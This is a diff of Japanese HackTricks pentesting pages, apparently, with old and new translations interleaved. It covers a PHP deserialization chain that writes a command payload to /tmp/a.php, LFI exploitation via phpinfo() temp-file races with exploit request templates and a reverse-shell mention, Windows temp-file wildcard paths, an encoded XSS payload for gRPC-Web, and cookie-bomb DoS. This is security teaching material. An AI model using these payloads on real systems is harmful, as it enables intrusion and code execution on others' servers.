* 今、**ファイルを作成して書き込む**ことができますが、ユーザーは**Webサーバー内の任意のフォルダに書き込むことができません**。したがって、ペイロードで見られるように、PHPは**`/tmp/a.php`**に作成された**base64**を使用して**`system`**を呼び出します。その後、他のWebアプリのコンポーザーローダーをロードするために使用した最初のタイプのペイロードを再利用できます。生成された**`/tmp/a.php`**ファイルをロードするために、デシリアライゼーションガジェットに追加するだけです:&#x20;
* さて、**ファイルを作成して書き込む**ことができますが、ユーザーは**ウェブサーバー内の任意のフォルダーに書き込むことができません**。したがって、ペイロードに示されているように、PHPは**`system`**を呼び出し、いくつかの**base64**が**`/tmp/a.php`**に作成されます。次に、**最初のタイプのペイロード**を再利用して、他のウェブアプリのコンポーザーローダーを読み込むために、生成された**`/tmp/a.php`**ファイルを読み込むことができます。それをデシリアライズガジェットに追加するだけです:&#x20;
{% code overflow="wrap" %}
```php
@ -73,11 +74,26 @@ a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"Guzz
```
{% endcode %}
**ペイロードの要**
**ペイロードの要**
* 同じコンテナ内の別のWebアプリの**composer autoloadをロード**
* **phpggcガジェットをロード**して、他のWebアプリのライブラリを悪用する逆シリアル化の脆弱性がある初期のWebアプリにはガジェットが含まれていなかった)
* ガジェットは、悪意のあるコマンドが含まれた/tmp/a.phpにPHPペイロードのファイルを**作成**するWebアプリのユーザーは他のWebアプリのどのフォルダにも書き込むことができない)
* ペイロードの最後の部分では、**生成されたphpファイルをロード**してコマンドを実行する
* **同じコンテナ内の別のウェブアプリのcomposerオートロードを読み込む**
* **phpggcガジェットを読み込む** ことで、他のウェブアプリのライブラリを悪用する(最初のウェブアプリはデシリアライズに対して脆弱で、ライブラリにガジェットがなかった)
* ガジェットは、悪意のあるコマンドを含む**PHPペイロード**を/tmp/a.phpに作成するウェブアプリのユーザーは、どのウェブアプリのフォルダーにも書き込むことができない)
* ペイロードの最終部分は、**生成されたPHPファイルを読み込む**ことでコマンドを実行する
この逆シリアル化を**2回呼び出す必要がありました**。テストでは、最初の呼び出しでは`/tmp/a.php`ファイルが作成されましたがロードされず、2回目の呼び出しでは正しくロードされました。
私はこのデシリアライズを**2回呼び出す必要があった**。私のテストでは、最初の時に/tmp/a.phpファイルが作成されたが読み込まれず、2回目に正しく読み込まれた。
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,43 +1,48 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または**HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github リポジトリに提出してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
この脆弱性を悪用するには、**LFI脆弱性、phpinfo() が表示されるページ、"file\_uploads = on"、およびサーバーが"/tmp"ディレクトリに書き込る必要があります。**
この脆弱性を悪用するには、**LFI脆弱性、phpinfo()が表示されるページ、"file\_uploads = on"、およびサーバーが"/tmp"ディレクトリに書き込むことができる必要があります。**
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s)
この脆弱性を修正する必要があります(**=>** を **=>** に変更)。修正するには、以下を実行できます:
エクスプロイトを修正する必要があります(**=>**を**=>**に変更)。そのためには、次のようにできます:
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
```
You have to change also the **payload** at the beginning of the exploit (for a php-rev-shell for example), the **REQ1** (this should point to the phpinfo page and should have the padding included, i.e.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), and **LFIREQ** (this should point to the LFI vulnerability, i.e.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Check the double "%" when exploiting null char)
{% file src="../../.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf" %}
### 理論
PHPでアップロードが許可されており、ファイルをアップロードしようとすると、このファイルはサーバーがリクエストの処理を完了するまで一時ディレクトリに保存され、その後一時ファイルは削除されます。
もしPHPでアップロードが許可されていて、ファイルをアップロードしようとすると、このファイルはサーバーがリクエストの処理を終えるまで一時ディレクトリに保存され、その後この一時ファイルは削除されます。
その後、WebサーバーでLFI脆弱性を見つけた場合、作成された一時ファイルの名前を推測して、サーバーがファイルを削除する前に一時ファイルにアクセスしてRCEを悪用することができます。
次に、ウェブサーバーにLFI脆弱性が見つかった場合、一時ファイルの名前を推測して、削除される前に一時ファイルにアクセスしてRCEを悪用することができます。
**Windows**では、ファイルは通常**C:\Windows\temp\php**に保存されます。
**Linux**では、ファイルの名前は通常**ランダム**であり、**/tmp**にあります。名前がランダムであるため、**一時ファイルの名前をどこかから抽出**、削除される前にアクセスする必要があります。これは、関数**"phpconfig()"**のコンテンツ内の**変数$\_FILES**の値を読み取ることで行うことができます。
**Linux**では、ファイルの名前は**ランダム**で、**/tmp**にあります。名前がランダムであるため、一時ファイルの名前を**どこかから抽出する必要があり**、削除される前にアクセスする必要があります。これは、関数"**phpconfig()**"の内容内で**変数$\_FILES**の値を読み取ることで行うことができます。
**phpinfo()**
**PHP**は**4096B**のバッファを使用し、バッファが**いっぱいになるとクライアントに送信**されます。その後、クライアントは**大きなヘッダーを使用して多くの大きなリクエストを送信**し、**php**リバース**シェルをアップロード**し、**phpinfo()の最初の部分が返されるのを待ちます**ここに一時ファイルの名前が表示されます、そしてLFI脆弱性を悪用してファイルが削除される前に**一時ファイルにアクセス**しようとします。
**PHP**は**4096B**のバッファを使用し、**満杯**になると**クライアントに送信**されます。次に、クライアントは**大きなリクエストをたくさん送信**(大きなヘッダーを使用)して**php**リバース**シェルをアップロード**し、**phpinfo()の最初の部分が返されるのを待ち**一時ファイルの名前がある場所、LFI脆弱性を悪用してphpサーバーがファイルを削除する前に**一時ファイルにアクセス**しようとします。
**長さが6の場合に名前をブルートフォースしようとするPythonスクリプト**
**名前をブルートフォースするためのPythonスクリプト(長さ=6の場合**
```python
import itertools
import requests
@ -59,16 +64,17 @@ sys.exit(0)
print('[x] Something went wrong, please try again')
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
</details>
{% endhint %}

View file

@ -1,43 +1,46 @@
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する
- **ハッキングテクニックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
</details>
**このテクニックの詳細は[https://gynvael.coldwind.pl/download.php?f=PHP\_LFI\_rfc1867\_temporary\_files.pdf](https://gynvael.coldwind.pl/download.php?f=PHP\_LFI\_rfc1867\_temporary\_files.pdf)で確認してください**
## **PHPファイルのアップロード**
**PHP**エンジンがRFC 1867に従った形式でファイルを含む**POSTリクエスト**を受信すると、アップロードされたデータを保存するための一時ファイルが生成されます。これらのファイルは、PHPスクリプトでのファイルのアップロード処理に不可欠です。永続的なストレージがスクリプトの実行を超えて必要な場合は、これらの一時ファイルを所望の場所に移動するために`move_uploaded_file`関数を使用する必要があります。実行後、PHPは残っている一時ファイルを自動的に削除します。
{% hint style="info" %}
**セキュリティ警告:** 攻撃者は、一時ファイルの場所を把握している場合、アップロード中にファイルにアクセスしてコードを実行するためにローカルファイルインクルージョンの脆弱性を悪用する可能性があります。
{% endhint %}
未承認のアクセスの課題は、意図的にランダム化された一時ファイルの名前を予測することにあります。
**この技術の詳細は[https://gynvael.coldwind.pl/download.php?f=PHP\_LFI\_rfc1867\_temporary\_files.pdf](https://gynvael.coldwind.pl/download.php?f=PHP\_LFI\_rfc1867\_temporary\_files.pdf)で確認してください。**
## **PHPファイルアップロード**
**PHP**エンジンがRFC 1867に従ってフォーマットされたファイルを含む**POSTリクエスト**を受け取ると、アップロードされたデータを保存するための一時ファイルが生成されます。これらのファイルは、PHPスクリプトにおけるファイルアップロード処理にとって重要です。永続的なストレージが必要な場合は、`move_uploaded_file`関数を使用してこれらの一時ファイルを所定の場所に移動する必要があります。実行後、PHPは残りの一時ファイルを自動的に削除します。
{% hint style="info" %}
**セキュリティ警告:攻撃者は一時ファイルの場所を知っているため、ローカルファイルインクルージョンの脆弱性を悪用して、アップロード中にファイルにアクセスすることでコードを実行する可能性があります。**
{% endhint %}
不正アクセスの課題は、一時ファイルの名前を予測することにありますが、これは意図的にランダム化されています。
#### Windowsシステムでの悪用
Windowsでは、PHPは`GetTempFileName`関数を使用して一時ファイル名を生成し、`<path>\<pre><uuuu>.TMP`というパターンが生成されます。特に:
Windowsでは、PHPは`GetTempFileName`関数を使用して一時ファイル名を生成し、`<path>\<pre><uuuu>.TMP`のようなパターンになります。特に:
- デフォルトのパスは通常`C:\Windows\Temp`です。
- 接頭辞は通常「php」です。
- `<uuuu>`は一意の16進数値を表します。関数の制限により、下位16ビットのみが使用されるため、一定のパスと接頭辞で最大65,535個の一意な名前が可能であり、ブルートフォースが実行可能です。
- プレフィックスは通常「php」です。
- `<uuuu>`は一意の16進数値を表します。重要なことに、この関数の制限により、下位16ビットのみが使用されるため、定数のパスとプレフィックスで最大65,535の一意の名前が可能になり、ブルートフォースが実行可能です。
さらに、Windowsシステムでは悪用プロセスが簡略化されます。`FindFirstFile`関数の特異性により、ローカルファイルインクルージョンLFIパスでワイルドカードを使用できます。これにより、次のようなインクルードパスを作成して一時ファイルを特定できます。
さらに、Windowsシステムでの悪用プロセスは簡素化されています。`FindFirstFile`関数の特異性により、ローカルファイルインクルージョンLFIパスでワイルドカードを使用することができます。これにより、一時ファイルを見つけるために次のようなインクルードパスを作成できます:
```
http://site/vuln.php?inc=c:\windows\temp\php<<
```
特定の状況では、より具体的なマスク(例`php1<<`または`phpA<<`)が必要になることがあります。これらのマスクをシステマティックに試すことで、アップロードされた一時ファイルを発見できます。
特定の状況では、より具体的なマスク(例えば `php1<<``phpA<<`)が必要になる場合があります。これらのマスクを体系的に試すことで、アップロードされた一時ファイルを発見することができます。
#### GNU/Linuxシステムでの悪用
GNU/Linuxシステムでは、一時ファイルの命名におけるランダム性が強固であり、その名前は予測可能でもブルートフォース攻撃にも弱くありません。詳細は参照文書に記載されています。
GNU/Linuxシステムでは、一時ファイル名のランダム性が強固であり、名前は予測不可能であり、ブルートフォース攻撃に対しても脆弱ではありません。詳細は参照された文書に記載されています。

View file

@ -1,49 +1,50 @@
# gRPC-Webのペンテスト
# Pentesting gRPC-Web
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>**htARTEHackTricks AWS Red Team Expert**でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法:
- **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksのスウォッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
- **ハッキングテクニックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **gRPC-Webペイロードの操作**
gRPC-WebはリクエストでContent-Type: `application/grpc-web-text`を使用し、これはベース64エンコードされたprotobufのような形式です。[gprc-coder](https://github.com/nxenon/grpc-pentest-suite)ツールを使用してペイロードをデコードし、[Burp Suite拡張機能](https://github.com/nxenon/grpc-pentest-suite)をインストールすることができます。
gRPC-WebはリクエストでContent-Type: `application/grpc-web-text`を使用します。これは、base64エンコードされたprotobufのようなものです。[gprc-coder](https://github.com/nxenon/grpc-pentest-suite)ツールを使用することができ、[Burp Suite Extension](https://github.com/nxenon/grpc-pentest-suite)をインストールすることもできます。
### **gGRPC Coderツールを使用した手動方法**
1. まず、ペイロードをデコードします:
### **gGRPC Coderツールを使用した手動操作**
1. まずペイロードをデコードします:
```bash
echo "AAAAABYSC0FtaW4gTmFzaXJpGDY6BVhlbm9u" | python3 grpc-coder.py --decode --type grpc-web-text | protoscope > out.txt
```
2. デコードされたペイロードの内容を編集します。
2. デコードされたペイロードの内容を編集する
```
nano out.txt
2: {"Amin Nasiri Xenon GRPC"}
3: 54
7: {"<script>alert(origin)</script>"}
```
3. 新しいペイロードをエンコードしま
3. 新しいペイロードをエンコードす
```bash
protoscope -s out.txt | python3 grpc-coder.py --encode --type grpc-web-text
```
4. Burp インターセプターで出力を使用します:
4. Burpインターセプターで出力を使用す:
```
AAAAADoSFkFtaW4gTmFzaXJpIFhlbm9uIEdSUEMYNjoePHNjcmlwdD5hbGVydChvcmlnaW4pPC9zY3JpcHQ+
```
### **gRPC-Web Coder Burp Suite Extensionのマニュアル**
[gRPC-Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite)内のgRPC-Web Coder Burp Suite Extensionを使用できます。インストールおよび使用方法については、リポジトリ内の指示を参照してください
### **gRPC-Web Coder Burp Suite拡張機能の手動操作**
[gRPC-Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite)でgRPC-Web Coder Burp Suite拡張機能を使用できます。これはより簡単です。インストールと使用方法の指示はリポジトリで読むことができます
## **gRPC-Web Javascriptファイルの析**
すべてのgRPC-Webアプリケーションには少なくとも1つのJavascriptファイルがあります。ファイルを解析して新しいメッセージ、エンドポイント、およびサービスを見つけることができます。[gRPC-Scan](https://github.com/nxenon/grpc-pentest-suite)ツールを使用してみてください。
1. Javascript gRPC-Webファイルをダウンロードします
2. grpc-scan.pyでスキャンします
## **gRPC-Web Javascriptファイルの析**
すべてのgRPC-Webアプリケーションには少なくとも1つのJavascriptファイルがあります。このファイルを分析して新しいメッセージ、エンドポイント、サービスを見つけることができます。[gRPC-Scan](https://github.com/nxenon/grpc-pentest-suite)ツールを使用してみてください。
1. Javascript gRPC-Webファイルをダウンロードします
2. grpc-scan.pyでスキャンします:
```bash
python3 grpc-scan.py --file main.js
```
@ -141,19 +142,20 @@ grpc.gateway.testing.ClientStreamingEchoResponse:
```
## 参考文献
* [Amin NasiriによるgRPC-Webハッキング記事](https://infosecwriteups.com/hacking-into-grpc-web-a54053757a45)
* [gRPC-Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite)
* [Amin NasiriによるgRPC-Webへのハッキング記事](https://infosecwriteups.com/hacking-into-grpc-web-a54053757a45)
* [gRPC-Webペンテストスイート](https://github.com/nxenon/grpc-pentest-suite)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricksトレーニングAWSレッドチームエキスパートARTE**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricksトレーニングGCPレッドチームエキスパートGRTE**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,34 +1,36 @@
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローしてください。**
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリにPRを提出してください。**
</details>
**`Cookie bomb`** は、**ユーザーを標的としたドメインおよびそのサブドメインに大量の大きなCookieを追加する**ことを含みます。この行動により、被害者はサーバーに**過剰なHTTPリクエストを送信**し、その後**サーバーによって拒否されます**。これにより、そのドメインおよびそのサブドメイン内の特定のユーザーを標的としたサービス拒否DoSが引き起こされます。
良い**例**は、この解説で確認できます:[https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)
さらに情報をご覧になりたい場合は、このプレゼンテーションをご覧ください:[https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26)
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローしてください。**
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリにPRを提出してください。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
**`Cookie bomb`**は、**ユーザーをターゲットにしてドメインとそのサブドメインに大量の大きなクッキーを追加すること**を含みます。このアクションは、被害者が**サーバーに対して過剰なHTTPリクエストを送信する**結果となり、これらはその後**サーバーによって拒否されます**。これにより、特定のユーザーに対してそのドメインとサブドメイン内でのサービス拒否DoSが引き起こされます。
良い**例**はこのレポートで見ることができます: [https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)
さらに情報が必要な場合は、このプレゼンテーションを確認できます: [https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26)
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
